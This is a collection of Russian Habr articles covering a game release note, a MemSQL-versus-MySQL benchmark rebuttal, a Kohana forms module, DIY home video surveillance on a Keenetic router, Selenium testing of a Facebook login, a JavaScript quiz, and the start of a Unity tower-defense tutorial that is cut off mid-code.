**13.04.15: ЗАКОНЧИЛ ВЕРСИЮ 1.0**
13-го апреля я собрал все билды под все платформы и залил их на сайт. С этого момента, Return of Dr. Destructo отправилась в свободное плавание. Но история игры пока не закончена — сейчас я работаю над портированием игры на мобильные платформы. Так что файл Progress.txt пока не закрыт окончательно!

Код проекта доступен на [Github](https://github.com/MaxSavenkov/drdestructo2) под лицензией MIT, а ресурсы — CC-BY-SA.
Если же вам захочется ознакомиться с игрой, не собирая её, то бинарные сборки лежат на [сайте проекта](http://zxstudio.org/projects/drdestructo/).
Спасибо за внимание! | https://habr.com/ru/post/257497/ | null | ru | null |
# MySQL в миллион раз быстрее MemSQL
Пару дней назад по мировой технологической прессе распространился [пиар](http://habrahabr.ru/post/146023/) MemSQL — базы данных нового поколения от Никиты Шамгунова ([shamg](https://habrahabr.ru/users/shamg/)), которая якобы показывает скорость в 30 раз выше, чем MySQL и при этом «надёжна по дефолту» (durable by default), как сказано у них на сайте.
Представители MySQL не снизошли до ответа на эти очевидные маркетинговые лозунги. Но вот бывший сотрудник MySQL, Домас Митузас (Domas Mituzas), ныне специалист по базам данных в Facebook и Wikipedia, всё-таки не выдержал и [решил разобраться, как именно нас обманывают](http://dom.as/2012/06/26/memsql-rage/) — и ответить тем же, то есть показать примеры, где MemSQL работает в сотни, тысячи и даже миллион раз медленнее, чем MySQL.
Главный тезис о «30-кратном приросте производительности», как выяснилось, выведен из тестов производительности MySQL с параметрами по умолчанию против MemSQL с параметрами по умолчанию. Здесь уже начинается читерство, потому что системы вынуждены работать совершенно в разных окружениях: например, буфер памяти в MemSQL, фактически, ничем не ограничен, а в InnoDB он установлен на 128 МБ в MySQL 5.5 (и это в 16 раз больше, чем в 5.1).
Для бенчмарков записи сравнивается MemSQL с логами транзакций 2 ГБ и InnoDB с логами по 10 МБ.
В то же время для любых бенчмарков, пишет Домас Митузас, важна надёжность. В то время как InnoDB реально проверяет, что транзакции сохранены на диск, «надёжность по дефолту» MemSQL означает всего лишь, что запись занесена в лог транзакций, но на самом деле это не гарантирует, что она сохранится на диске. Транзакционный буфер MemSQL работает примерно как режим `innodb_flush_log_at_trx_commit=2`. Если же включить полную защиту транзакций в MemSQL, то это будет [душераздирающее зрелище](http://p.defau.lt/?9eGKao3oab_lQWNoZO7DTw): фоновый процесс просыпается каждые 50 мс для записи лога транзакций.
Итак, что же получается в итоге? MemSQL работает в 500 раз медленнее в режиме надёжных транзакций.
В режиме чтения MemSQL способна сканировать 8 млн строк в секунду по запросу `SELECT COUNT(*)`, это великолепный результат. Но вот запрос:
SELECT \* FROM table ORDER BY id DESC LIMIT 5;
Такой запрос встречается повсюду, он показывает топы разных списков. MySQL выполняет его, нормально перемещаясь по индексу от записи к записи, в то время как MemSQL вынуждена перемолоть всю таблицу целиком и отсортировать её заново для выполнения запроса. Даже запрос `SELECT MAX(id)` приводит к обходу всей таблицы целиком.
Итак, MemSQL в тысячу раз медленнее MySQL, или в миллион раз медленнее. На простых запросах на чтение.
В общем, Домас Митузас делает вывод, что MemSQL — отличная разработка и быстрейший протокол MySQL из существующих, для некоторых задач, но он не так уж сильно опережает MySQL Cluster, да и разработчики NDB Cluster тоже заявляют об очень высокой производительности. Однако, MemSQL нуждается в правильной оптимизации для более типичных паттернов использования. | https://habr.com/ru/post/146592/ | null | ru | null |
# Kohana-form: модуль менеджмента и генерации форм
Здравствуйте. Этой статьей я хочу презентовать свой модуль форм для фреймворка Kohana, который написал вдохновившись аналогичным модулем для Django.
Я не буду глубоко вдаваться в предыстории и размышления, а перейду сразу к делу. Сначала опишем недостатки:
* Модуль сырой. Это конечно же не значит что он ничего не умеет, и совершенно бесполезен, это значит лишь то что он требует масштабирования и небольшого рефакторинга. А так же работы над документацией.
* Насчет рефакторинга. Я искренне старался держать код в чистоте, и чаще всего у меня даже получалось это сделать, однако никто не идеален, и небольшому количеству мест не помешала бы работа напильником.
* Не хватает некоторого количества некритичного функционала.
Достоинства:
* Сохранилась распределенная структура которую можно наблюдать в django forms. Форма состоит из экземпляров класса Field, которые в свою очередь связаны с классом Widget. Благодаря этому открываются богатые возможности для кастомизации.
* Автоматическая генерация форм из ORM моделей с валидацией данных и автоматическим сохранением данных из POST.
* Каждый виджет — это дефолтные кохановские view, что позволяет без особых проблем создавать новые темы для виджетов или быстро корректировать имеющиеся. И для этого не потребуется лезть в исходные коды самого модуля.
Подробности под катом.
Как пользоваться:
Создание формы
```
php
defined('SYSPATH') OR die('No direct access allowed.');
class Form_Login extends Form
{
public static function meta()
{
return array(
"fields" = array(
"login" => Field::factory("Varchar"),
"password" => Field::factory("Password"),
),
"options" => array( // заполняется по желанию. может быть пустым массивом.
"valid_messages_file" => "login", // файл в котором лежат сообщения валидации, должен находиться в папке messages
"theme" => "base" // тема формы. base - тема по умолчанию, из коробки есть 2 темы: base, nolabels. nolabels это таже тема base только без тегов label
),
);
}
}
```
Имеющиеся типы полей
* Email
* Hidden
* Image
* Int
* Password
* Text
* Timestamp
* Varchar
* Int Unsigned
Как показать форму
Просто показать
```
php echo $form; ?
```
Показать с стилями bootstrap
```
php foreach ($form as $field): ?
php $field-css\_class(array("form-control")); ?>
php foreach ($field-errors() as $error): ?>
php echo $error; ?
php endforeach; ?
php echo $field; ?
endforeach; ?
```
Создать модельную форму
```
class Form_Article extends ModelForm
{
public static function meta()
{
return array(
"fields" => array( //необязательно для заполнения. используется для переопределения полей, если это требуется.
"image" => Field::factory("Image")
),
"options" => array(
"model" => ORM::factory("Article"), //собственно модель из которой будем генерить форму
"display_fields" => array("title", "body", "image"), //отображаемые поля
"valid_messages_file" => "news", //используемый файл для сообщений валидации
"except_fields" => array() //какие поля скрыть и не показывать
),
);
}
}
```
Создать форму для определенной сущности в базе данных
```
Form::factory("Article", array(), $id);
```
Создать форму для определенного набора данных
```
Form::factory("Article", array("title" => "Hello, Habr!"));
```
Получить и сохранить модельную форму
```
public function action_add()
{
if ($this->request->method() == "POST") {
$form = Form::factory("Article", $this->request->post());
$form->add_field(
Field::factory("Hidden")
->name("user")
->value(Auth::instance()
->get_user())
);
if ($form->validate())
$form->save();
}
}
```
Создать formset
```
php
defined('SYSPATH') OR die('No direct access allowed.');
class Formset_News extends Formset
{
public static function meta()
{
return array(
"base_form" = "News",
"theme" => "bootstrap"
);
}
}
```
Формсеты так же имплементируют Iterator, поэтому можно легко получить доступ к каждому элементу.
Вкратце это весь функционал реализованный на данный момент. Естественно есть недостатки как в плане чистоты кода, так и в некоторых других аспектах. И публикуя этот модуль здесь я надеюсь, что open source сообщество откликнется, и совместными усилиями наконец то получится сделать достойный модуль для работы с формами под фреймворк Kohana.
Весь код доступен на github — [kohana-form](https://github.com/NeZanyat/kohana-form), можно делать форки, слать пулреквесты и писать в «Issues». Буду рад замечаниям и советам. | https://habr.com/ru/post/216187/ | null | ru | null |
# Непрофессиональное видеонаблюдение квартиры занятно и недорого
 С момента как у меня в квартире на страже появилась GSM сигнализация, появилась мысль о том, что неплохо бы иметь в мое отсутствие в квартире и «глаза» в случае срабатывания датчиков сигнализации (а может срабатывание ложное?). Поскольку я инженер в области информационных технологий, ни о каком профессиональном решении в виде регистратора и кучи камер речь не шла — только все сам, своими руками. Бюджет тоже сразу было решено ~~обнулить~~ ограничить, а в случае успешности проекта уже думать о его дальнейшем улучшении и модернизации.
#### Железо
Первым делом подбираем железо. «Глаза» подразумевают камеру, тут уж никуда не денешься. Потом встает вопрос что делать с полученным изображением — хранить его, передавать куда-то и т.д. Так я подумал про подключенный через UPS роутер с модемом 4G для стабильного канала с интернет который тяжело «положить» потенциальному грабителю.
На работе мы с успехом уже несколько лет пользуемся роутерами с USB портами ZyXel Keenetic (конкретно моя уже устаревшая модель Giga2). После того как разработчики прошивок «прикрутили» такую штуку как OPKG (менеджер пакетов) — появилась возможность превратить свой роутер в персональный компьютер с linux c широчайшими возможностями, чем я и решил воспользоваться для своей цели. Итого, уже имея дома компьютер-роутер с подключенным модемом 4G мне не хватало только «глаза» — камеры USB. Вспомнив, что года три-четыре назад покупал для родителей web камеру logitech С270 для их общения с родственниками через skype на компьютере и то что сейчас они общаются уже через планшет — камеру у них реквизировал. Кстати на камере на лицевой панели есть светодиод, который показывает работает ли камера или нет — в дальнейшем это оказалось очень удобно для визуального определения работы системы видеонаблюдения.

#### Сопряжение и настройка железа
Итак, железо есть. И что не может не радовать — пока находимся в рамках бюджета.
На моем роутере два USB порта, один из которых уже был занят USB модемом 4G. Будем использовать и второй, воткнув туда камеру logitech С270. Для того, чтобы роутер мог работать с камерой нужно предварительно установить на роутере компонент OPKG (в этом компоненте ставим все галочки кроме «Модули ядра для поддержки USB DVB-тюнеров»). Но тут есть подвох — для работы OPKG в роутере нужно дисковое пространство (гигабайта хватит за глаза), но где его взять, ведь оба порта USB на роутере уже заняты? Вариантов решения оказалось два — либо USB hub c флешкой (первое что сразу приходит в голову), либо то, что в мой USB модем 4G можно поставить карту microSD. И найденная дома старая медленная карта microSD 8 гигабайт сразу отправилась в модем. Файловую систему оставил на карте NTFS (хотя настоятельно рекомендуется EXT2 или EXT3). Создаем папку Install и закачиваем нужный образ Entware в нее.
Затем идем в админку роутера, вкладка OPKG, выбираем нашу карту памяти, в строке «Сценарий initrc» пишем
```
/opt/etc/init.d/rc.unslung
```
и нажимаем *Применить*.
После установки OPKG, SSH клиентом (я использую программу Putty на своем ноутбуке c windows) цепляемся к роутеру и выполняем следующие команды для обновления OPKG:
```
opkg update
opkg upgrade
```
По умолчанию на SSH логин *root* пароль *keenetic* (или *zyxel* в зависимости от версии прошивки). Пароль настоятельно рекомендуется поменять командой *passwd*.
#### Софт
Далее устанавливаем программу motion.
```
opkg install motion
```
Именно она будет работать с нашей камерой, анализировать изменение картинки и давать указание роутеру куда посылать полученное изображение. Файл настроек программы motion это \etc\motion\motion.conf, редактируя его меняем нужные нам настройки. Первым делом я установил поддерживаемое камерой максимальное разрешение 1280x720, повернул на изображение на 180 градусов (мне удобнее было установить камеру «вверх ногами»), запись 2 кадра в секунду.
```
rotate 180
width 1280
height 720
framerate 2
```
Записывать весь видеопоток и транслировать его в интернет я необходимости не видел, поэтому настроил motion записывать видео и передавать его только в случае изменения изображения. В процессе настройки motion стало понятно, что она не поддерживает с моей камерой режим MJPEG, а поддерживает только режим YUYV — в результате чего результатом работы motion будет не видеоряд, а только последовательность фотографий JPEG.
```
v4l2_palette 15
```
Также я настроил motion так, что копия фотографий копируется на внешний FTP сервер.
```
on_picture_save wput ftp://login:pass@XX.29.136.XX %f
```
В случае, если вынесут из квартиры и роутер с картой памяти, все равно будет возможность посмотреть как именно это произошло.
Настоятельно рекомендуется поменять логин пароль на подключение к вашей камере.
```
stream_authentication login:pass
```
После всех настроек смотрим в браузере результат по адресу:
```
IPроутера:8081
```

Внимание! Если никакого изображения в браузере вы не увидели, следует обратить внимание на вашу версию прошивки Keenetic. Предположительно начиная с версии прошивки 2.11.A.4.0-1 модули видео по умолчанию не подгружаются, поэтому в SSH надо их загрузить «ручками» или добавить в скрипт запуска:
```
/opt/sbin/insmod /lib/modules/3.4.113/i2c-core.ko
/opt/sbin/insmod /lib/modules/3.4.113/i2c-dev.ko
/opt/sbin/insmod /lib/modules/3.4.113/videodev.ko
/opt/sbin/insmod /lib/modules/3.4.113/videobuf2-core.ko
/opt/sbin/insmod /lib/modules/3.4.113/videobuf2-memops.ko
/opt/sbin/insmod /lib/modules/3.4.113/videobuf2-vmalloc.ko
/opt/sbin/insmod /lib/modules/3.4.113/v4l2-common.ko
/opt/sbin/insmod /lib/modules/3.4.113/uvcvideo.ko
```
Если и после этого изображение не появилось, первым делом смотрим логи Keenetic, что происходит при подключении камеры. Определяется ли камера как видеоустройство и т.д.
#### Управление
Проделав всю эту работу, пришла мысль о том, что надо как-то этим управлять, т.е. включать и выключать в нужные моменты времени (причем главным образом удаленно). Вопрос решил установкой клиента SSH на свой android смартфон. После выбора SSH клиентов остановился на ScriptKitty. Нажатием двух-трех клавиш на смартфоне можно быстро выполнить включение или отключение motion.

Запуск motion через SSH:
```
/opt/etc/init.d/K99motion restart
```
Завершение motion через SSH:
```
/opt/etc/init.d/K99motion stop
```
Но тут ждал еще один подвох — «серый» ip адрес на моем модеме 4G. Подключаясь к роутеру через Wi-fi без проблем можно выключить или включить motion. Но что делать, если ты за пределами Wi-fi своего роутера, а у твоего роутера «серый» ip? Я нашел спасение в виде VPN. Схема следующая — своим домашним роутером я цепляюсь к роутеру на работе со статичным IP посредством PPTP клиента(на работе на роутере установлен PPTP сервер). Теперь сделав проброс порта SSH с рабочего роутера на домашний я наконец-то могу управлять своей камерой удаленно обращаясь со своего смартфона по статичному адресу роутера на работе.
Также пробовал автоматизировать управление с помощью автоматизатора Tasker (у него есть свой отдельный SSH клиент) — отслеживать подключение смартфона к Wi-Fi роутера и в зависимости от этого включать или выключать motion. Логика тут такая: смартфон подключен к Wi-Fi роутера — значит я дома — камеру отключить. Смартфон не подключен к Wi-Fi роутера — значит я не дома — камеру включить. Но поэкспериментировав, от этого варианта отказался — слишком много ложных срабатываний. Например я дома, смартфон заснул, роутер потерял смартфон, включилась камера — ну и т.д. В настоящее время пользуюсь только ручным способом.
#### Заключение
В принципе, что хотел я от проекта, то и получил. Могу «видеть» квартиру когда захочу и в случае каких-то срабатываний GSM сигнализации уже принимать решение что делать дальше. В процессе реализаций решил кучу проблем, но их решение вызывало определенный кайф от приобретенных знаний и реализации задуманного.
 | https://habr.com/ru/post/420005/ | null | ru | null |
# История одного дня: PHPUnit, Selenium, Facebook
Сегодня я хочу рассказать о том как я мучался с [PHPUnit](http://www.phpunit.de "PHPUnit"), [Selenium RC](http://seleniumhq.org/download/ "Selenium") и Facebook'ом :)
Итак, мне была дана задача сделать систему ежедневного тестирования сайта и постинга багов в bugzill'у (Расскажу я только о связке PHPUnit/Selenium RC). Воспользовавшись немного гуглом я нашел две вещи подходящие для php — **SimpleTest** и **PHPUnit**. Покурив доки я остановился на **PHPUnit**. Выбор пал именно на него из-за поддержки Selenium'a.
Т.к. ранее ни с PHPUnit, ни с Selenium я не работал, то пришлось искать что [почитать](http://www.phpunit.de/manual/3.4/en/selenium.html "почитать") (также большое спасибо пользователю [WanderingStar](https://geektimes.ru/users/wanderingstar/) за статью [Юнит-тестирование в PHP](http://habrahabr.ru/blogs/php/56289/ "Юнит-тестирование в PHP")). Начитавшись до красных глаз, решил сделать первый тест :) Но сначала необходимо все установить:
`pear channel-discover pear.phpunit.de
pear install phpunit/PHPUnit-beta`
Далее скачиваем Selenium RC (selenium-remote-control-1.0.1-dist.zip), распаковываем и в директории selenium-server-1.0.1 запускаем:
`java -jar selenium-server.jar`
Теперь приступим к написанию. Первый тест как всегда был взят из [документации](http://www.phpunit.de/manual/3.4/en/selenium.html "почитать"):
> `1. php</li- require\_once 'PHPUnit/Extensions/SeleniumTestCase.php';
> - class WebTest extends PHPUnit\_Extensions\_SeleniumTestCase
> - {
> - protected function setUp()
> - {
> - $this->setBrowser('\*firefox');
> - $this->setBrowserUrl('http://www.example.com/');
> - }
> - public function testTitle()
> - {
> - $this->open('http://www.example.com/');
> - $this->assertTitleEquals('Example WWW Page');
> - }
> - }
> - ?>
> \* This source code was highlighted with Source Code Highlighter.`
Сохраняем в файл WebTest.php и запускаем: `phpunit WebTest`
Видим как запустился FireFox, открыл страничку и убился :) Результат выполнения теста:
`PHPUnit 3.4.0beta4 by Sebastian Bergmann.
E
Time: 14 seconds
There was 1 error:
1) WebTest::testTitle
BadMethodCallException: Method assertTitleEquals not defined.
WebTest.php:15
FAILURES!
Tests: 1, Assertions: 0, Errors: 1.`
Ошибка… Не хорошо писать код с ошибками в документации… Вспомнив что это бета релиз, пошел проверить [changelog](http://www.phpunit.de/wiki/ChangeLog34). Обнаружил интересную вещь:
`Please note that the following commands had to be renamed:
assertAlertPresent() has been renamed to assertAlert()
assertNoAlertPresent() has been renamed to assertNotAlert()
assertNoConfirmationPresent() has been renamed to assertConfirmationNotPresent()
assertLocationEquals() has been renamed to assertLocation()
assertLocationNotEquals() has been renamed to assertNotLocation()
assertNoPromptPresent() has been renamed to assertPromptNotPresent()
assertNothingSelected() has been renamed to assertNotSomethingSelected()
assertTitleEquals() has been renamed to assertTitle()
assertTitleNotEquals() has been renamed to assertNotTitle()`
Исправляем assertTitleEquals на assertTitle и заново запускаем:
`PHPUnit 3.4.0beta4 by Sebastian Bergmann.
F
Time: 9 seconds
There was 1 failure:
1) WebTest::testTitle
Current URL: www.example.com
Failed asserting that matches PCRE pattern "/Example WWW Page/".
WebTest.php:15
FAILURES!
Tests: 1, Assertions: 1, Failures: 1.`
Вот и отличненько, тест сработал. получилась ошибка. Далее хотелось бы сохранить скриншот ошибки. Вносим изменения в код:
> `1. php </li- require\_once 'PHPUnit/Extensions/SeleniumTestCase.php';
> - class WebTest extends PHPUnit\_Extensions\_SeleniumTestCase
> - {
> - protected $captureScreenshotOnFailure = TRUE;
> - protected $screenshotPath = 'd:\apache2\htdocs\screenshots';
> - protected $screenshotUrl = 'http://localhost/screenshots';
> -
> - protected function setUp()
> - {
> - $this->setBrowser('\*firefox');
> - $this->setBrowserUrl('http://www.example.com/');
> - }
> - public function testTitle()
> - {
> - $this->open('http://www.example.com/');
> - $this->assertTitle('Example WWW Page');
> - }
> - }
> - ?>
> \* This source code was highlighted with Source Code Highlighter.`
Запускаем:
`PHPUnit 3.4.0beta4 by Sebastian Bergmann.
F
Time: 8 seconds
There was 1 failure:
1) WebTest::testTitle
Current URL: www.example.com
Screenshot: localhost/screenshots/ed26432dcfb69cbbdd4e0c01fade4682.png
Failed asserting that matches PCRE pattern "/Example WWW Page/".
WebTest.php:19
FAILURES!
Tests: 1, Assertions: 1, Failures: 1.`
Вот так уже лучше. Пример из документации заработал :) Хотелось бы перейти к тестированию разрабатываемого сайта. Не вдаваясь в подробности сайт похож чем-то на Yahoo Answers с авторизацией через Facebook. Вот тут нас и ждет косяк…
На сайте размещена кнопка для логина. Выглядит вот так:

Код:
> `1. <a onclick="FB.Connect.requireSession(function() { window.location='index.php'; }); return false;" href="#">
> 2. <img alt="Connect" src="http://static.ak.fbcdn.net/images/fbconnect/login-buttons/connect\_light\_medium\_long.gif" id="fb\_login\_image"/>
> 3. a>
> \* This source code was highlighted with Source Code Highlighter.`
После клика по этой кнопке пользователь видит PopUp:

Selenium предоставляет возможность кликнуть по элементу, для этого надо знать его id или name (также возможен поиск при помощи xpath, но мне он не подходит, т.к. элемент могут передвинуть). Как вы видите у тега id отсутствует (исправить код сайта временно нельзя). Пришлось искать другие варианты авторизации. Погуглив немного я наткнулся на [такой вариант](http://code.google.com/p/fbphpunittest/source/browse/trunk/FacebookTestBase.class.php). Вкратце мы проходим авторизация на facebook'e и получаем куки, которые мы подсовываем Selenium'у. Реализовать мне это не удалось, т.к. я вспомнил что даже если пользователь авторизован на facebook'e, ему все равно надо кликнуть по кнопке «Connect with Facebook». Тут я ушел покурить :)
На балконе мне в голову пришла идея — а почему бы не кликнуть по картинке, ведь ее id у нас есть. Решил попробовать (правда сомневался что заработает, ведь onclick висит не на картинке, но других идей не было). Вот что я накодил:
> `1. php </li-
> - require\_once 'PHPUnit/Extensions/SeleniumTestCase.php';
> -
> - class LoginTest extends PHPUnit\_Extensions\_SeleniumTestCase
> - {
> - protected $captureScreenshotOnFailure = TRUE;
> - protected $screenshotPath = 'd:\apache2\htdocs\screenshots';
> - protected $screenshotUrl = 'http://localhost/screenshots';
> -
> - protected function setUp()
> - {
> - $this->setBrowser('\*firefox');
> - $this->setBrowserUrl('http://%site\_url%/');
> - }
> -
> - public function testTitle()
> - {
> - $this->open('/');
> -
> - //Click Login
> - $this->click("fb\_login\_image");
> - }
> - }
> -
> - ?>
> \* This source code was highlighted with Source Code Highlighter.`
Каково же было мое удивление, когда это заработало… Теперь нам надо ввести email и пароль и нажать Connect. Id этих элементов нам известны — email, pass, login. Делаем такой код:
> `1. php </li-
> - require\_once 'PHPUnit/Extensions/SeleniumTestCase.php';
> -
> - class LoginTest extends PHPUnit\_Extensions\_SeleniumTestCase
> - {
> - protected $captureScreenshotOnFailure = TRUE;
> - protected $screenshotPath = 'd:\apache2\htdocs\screenshots';
> - protected $screenshotUrl = 'http://localhost/screenshots';
> -
> - protected function setUp()
> - {
> - $this->setBrowser('\*firefox');
> - $this->setBrowserUrl('http://%site\_url%/');
> - }
> -
> - public function testTitle()
> - {
> - $this->open('/');
> -
> - //Click Login
> - $this->click("fb\_login\_image");
> -
> - $this->type("email", "test@test.com");
> - $this->type("pass", "паролъ");
> - $this->click("login");
> -
> - }
> - }
> -
> - ?>
> \* This source code was highlighted with Source Code Highlighter.`
Результат:
`PHPUnit 3.4.0beta4 by Sebastian Bergmann.
E
Time: 25 seconds
There was 1 error:
1) WebTest::testTitle
RuntimeException: Response from Selenium RC server for testComplete().
ERROR: Element email not found.
WebTest.php:32
FAILURES!
Tests: 1, Assertions: 1, Errors: 1.`
Как так? Он же есть… Немного подумав я все-таки понял почему нету. Этот элемент находиться в PopUp'е а не в главном окне. Поискав в документации как организовать переключение между окнами я получил конечный результат кода:
> `1. php </li-
> - require\_once 'PHPUnit/Extensions/SeleniumTestCase.php';
> -
> - class LoginTest extends PHPUnit\_Extensions\_SeleniumTestCase
> - {
> - protected $captureScreenshotOnFailure = TRUE;
> - protected $screenshotPath = 'd:\apache2\htdocs\screenshots';
> - protected $screenshotUrl = 'http://localhost/screenshots';
> -
> - protected function setUp()
> - {
> - $this->setBrowser('\*firefox');
> - $this->setBrowserUrl('http://%site\_url%/');
> - }
> -
> - public function testTitle()
> - {
> - //Открываем главную страницу
> - $this->open('/');
> - //Проверяем заголовок (на тот ли сайт мы попали?)
> - $this->assertTitle('%page\_title%');
> -
> - //Кликаем логин
> - $this->click("fb\_login\_image");
> - //Ждем пока вылезет popup
> - $this->waitForPopUp("\_blank", "30000");
> -
> - //Выбираем наш popup
> - $this->selectWindow("\_blank");
> -
> - //заполняем поля и кликаем Connect
> - $this->type("email", "test@test.com");
> - $this->type("pass", "паролъ");
> - $this->click("login");
> -
> - //Выбираем главное окно
> - $this->selectWindow("null");
> - //Ждем пока оно загрузится
> - $this->waitForPageToLoad("30000");
> -
> - //Проверяем заголовок
> - $this->assertTitle('%page\_title%');
> -
> - //Проверяем залогинились или нет (существует ли текст signout на странице)
> - $this->verifyTextPresent('signout');
> - }
> - }
> \* This source code was highlighted with Source Code Highlighter.`
Всем спасибо за внимание :) Любая критика приветсвуеться.
З.Ы. Сильно не пинайте, первый пост все-таки. Если статьи такого плана интересны, могу еще написать о чем-нибудь. | https://habr.com/ru/post/64240/ | null | ru | null |
# Викторина для тех, кто любит Javascript больше ECMAscript
Викторина для тех, кто любит JavaScript больше ECMAScript. Главный приз: пирожок на полке.
**Update:** Пояснение. Для тех кто совсем не в теме. ECMAScript — это стандарт языка, на котором основаны реализации JavaScript в современных браузерах. Именно этот стандарт определяет поведение программ в этой статье. JavaScript является «надстройкой» над ECMAScript.
Пояснение номер 2. Глюки IE не имеют прямого отношения к викторине поскольку это ошибки (ну или «особенности») реализации стандартов.
**\* Вопросы:**
Вопрос 1. Что выведет следующая программа?
`var a = 123;
function foo() {
alert(typeof a);
var a = '123';
}
foo();`
Вопрос 2. Что выведет следующая программа?
`alert(sum1(3, 4));
alert(sum2(3, 4));
function sum1(a, b) { return a + b; }
var sum2 = function(a, b) { return a + b; }`
Вопрос 3. Что выведет следующая программа?
`function foo(){
return
{
code: 1
};
}
alert(foo());`
Вопрос 4. Что выведет следующая программа?
`alert([1,2,].length + [,1,2].length);`
Последний вопрос. Немного из другой области.
Вопрос 5. Как ускорить выполнение функции calc?
`var Multiplier = 123; // в объекте Global
function calc() { var s = 0; for (var i = 0; i < arguments.length; i++) s += Multiplier * arguments[i]; return s; }`
**\* Правильные ответы:**
Ответ 1. «undefined»
Ответ 2. Сначала «7», затем ошибка.
Ответ 3. «undefined»
Ответ 4. «5»
Ответ 5. `function calc() { var s = 0, m = Multiplier; for (var i = arguments.length; i--; ) s += m * arguments[i]; return s; }`
**\* Правильные ответы с объяснением:**
Ответ 1. «undefined»
При объявлении переменная помещается в область видимости, соответствующую функции, в которой она объявляется. Если переменная объявляется вне функций, она помещается в глобальную область видимости. Создание переменной происходит при получении управления функцией с её объявлением. Или программой, если переменная глобальна. При создании переменной в ECMAScript она приобретает значение undefined. Если переменная объявлена с инициализацией, инициализация происходит не в момент создания переменной, а при выполнении строки с инструкцией var.
Ответ 2. Сначала «7», затем ошибка.
Наиболее существенной разницей между заданием функции с использовании объявления (sum1) и заданием функции с помощью выражения (sum2) является то, что объявления осуществляются до выполнения кода, а выражение по мере его выполнения.
Ответ 3. «undefined»
Спецификация декларирует механизм автодополнения строк точками с запятой, приводящий к тому, что при наличии переноса строки инструкция до переноса может быть снабжена этим знаком. Здесь строка c «return» содержит допустимую языком инструкцию и, поскольку, далее следует перевод строки, срабатывает механизм автодополнения строк точками с запятой.
Ответ 4. «5»
Концевая запятая при задании массива отбрасывается без добавления к массиву пустого элемента.
**Update** для любящих IE. IE неправильно вставит пустой элемент в конец такого массива.
Ответ 5.
`function calc() { var s = 0, m = Multiplier; for (var i = arguments.length; i--; ) s += m * arguments[i]; return s; }`
Для большинства реализаций JavaScript верны два соображения: доступ к локальным переменным осуществляется быстрее, цикл «for (var i = arguments.length; i--; )» содержит меньше инструкций, чем обычный.
\* Ссылки:
[ru.wikipedia.org/wiki/ECMAScript](http://ru.wikipedia.org/wiki/ECMAScript)
Спасибо за внимание.
P.S. Убрал белый цвет текста. Тому, кто читает этот блог, он не нужен.
Спасибо за статью. /terloger/ | https://habr.com/ru/post/81571/ | null | ru | null |
# Как создать простую Tower Defense игру на Unity3D, часть первая
Здравствуйте! Давно уже хотел опубликовать эту статью, да не успевал выделить время. Заранее хотел бы предупредить, что статья рассчитана на не шибко знающего Unity3D пользователя, потому в тексте будет обилие пояснений.
[Часть вторая](http://habrahabr.ru/post/182672/)
Всем заинтересовавшимся — добро пожаловать под кат!
#### Первые шаги
##### Базовая сцена
Пришло время создать поверхность, на которой мы, собственно, будем располагать наши пушки, мобов и прочее. Жмём Terrain -> Create Terrain. А давайте заодно его и раскрасим? Выделяем террейн в объектах, далее нажимаем в свойствах кнопку с изображением кисти, чуть ниже жмём Edit textures -> Add texture.
Появится окно добавления текстуры, с правой части первой строки есть маленький кружочек, это прямой аналог кнопки Browse, нажимаем на него и выбираем текстуру для нашей поверхности).


Закрываем окно выбора текстур, возвращаемся к окну настройки текстур, нажимаем в нём кнопку Apply. Вуаля, наш террейн окрасился в выбранную нами текстуру. Можно таким же образом добавить ещё текстур и раскрасить его более детально. Поэкспериментируйте с кнопками, создайте немного горок, ям и так далее ;)
##### Добавляем пушку
Наигрались с террейном? Отлично, время серьёзных игрушек: качаем нашу единственную пушку (5Mb, [ссылка](https://ionpri.me/td/fasta_burner.7z))
Распаковываем архив в папку Assets проекта или в окно Project в редакторе, эффект будет одинаковым.
Также нам понадобится создать ещё одну папку: в том же Project в верхней части есть кнопка Create. Жмём её, выбираем Folder. Называем папку prefabs. Кликаем правой кнопкой по этой папке и выбираем Create -> Prefab. И имя ему будет gun\_prefab.
*Немного теории: Префаб (Prefab) — такой специальный вид объекта, который содержит в себе другой(ие) объект(-ы) со своими настройками, а также их можно будет быстро спаунить на сцене (и нам это пригодится в дальнейшем). Префабы в списке объектов сцены имеют синий цвет.*
Нажмите на файл пушки (cannon2) — в инспекторе свойств загрузятся свойства плагина импорта пушки.
Установите значения следующим образом:
Scale Factor поставим равным 0.1
Отметим галочкой Generate Colliders
Остальное не трогаем, чуть ниже жмём кнопочку Apply.
Этим самым мы задали пушке адекватный размер (изначальный 0.01 слишком мал, а единица очень огромная), и сгенерировали коллайдеры, чтобы пушка не проваливалась под землю.
В окне Project перетащим нашу пушку (cannon2) на свежесозданный префаб (gun\_prefab).
Теперь можно перетаскивать наш префаб прямо на сцену — пушка будет клонироваться, но при этом каждый новый экземпляр будет являться отдельным объектом. Попробуйте! А когда наиграетесь — удалите все пушки со сцены (выделите их и нажмите Delete).
##### Создаём мобов
У нас простейшая ТД, потому и мобы у нас будут простыми шариками. Создать их, не прибегая к 3D-моделированию, проще простого.
Жмите GameObject -> Create Other -> Sphere. На сцене и в инспекторе объектов появится объект с именем Sphere. Уже известным способом создайте для него префаб с именем monster01 и перетащите нашего монстра на префаб. После этого можно удалить монстра со сцены, он там более не понадобится, т.к. мы будем спаунить его прямо из кода.
#### ~~Карты, деньги,~~ два ствола
Перетащим префаб пушки прямо на сцену из Project, и поставим в любом удобном месте (да, потом спаун будет реализован по-другому, но для начала и так пойдет). Время написать AI пушки!
Создайте в Проекте папку scripts, а в ней папку ai. Затем ПКМ по папке ai и выбираем Create -> C# Script. Скрипт назовём PlasmaTurretAI.
Открываем его даблкликом, загрузится ваша IDE с данным скриптом, который будет представлять из себя вот такой каркас для скриптования:
**PlasmaTurretAI.cs**
```
using UnityEngine;
using System.Collections;
public class PlasmaTurretAI : MonoBehaviour //Имя класса ОБЯЗАТЕЛЬНО должно совпадать с именем файла, а наследование от MonoBehaviour необходимо для возможности "натянуть" скрипт на любой GameObject.
{
//используем этот метод для инициализации
void Start ()
{
}
//а этот метод вызывается каждый фрейм
void Update ()
{
}
}
```
А теперь, собственно, сам код AI в комментариях:
**PlasmaTurretAI.cs**
```
using System.Collections.Generic;
using System.Linq;
using UnityEngine;
//Имя класса ОБЯЗАТЕЛЬНО должно совпадать с именем файла, а наследование от MonoBehaviour необходимо для возможности "натянуть" скрипт на любой GameObject (ну и не только для этого).
public class PlasmaTurretAI : MonoBehaviour
{
public GameObject[] targets; //массив всех целей
public GameObject curTarget;
public float towerPrice = 100.0f;
public float attackMaximumDistance = 50.0f; //дистанция атаки
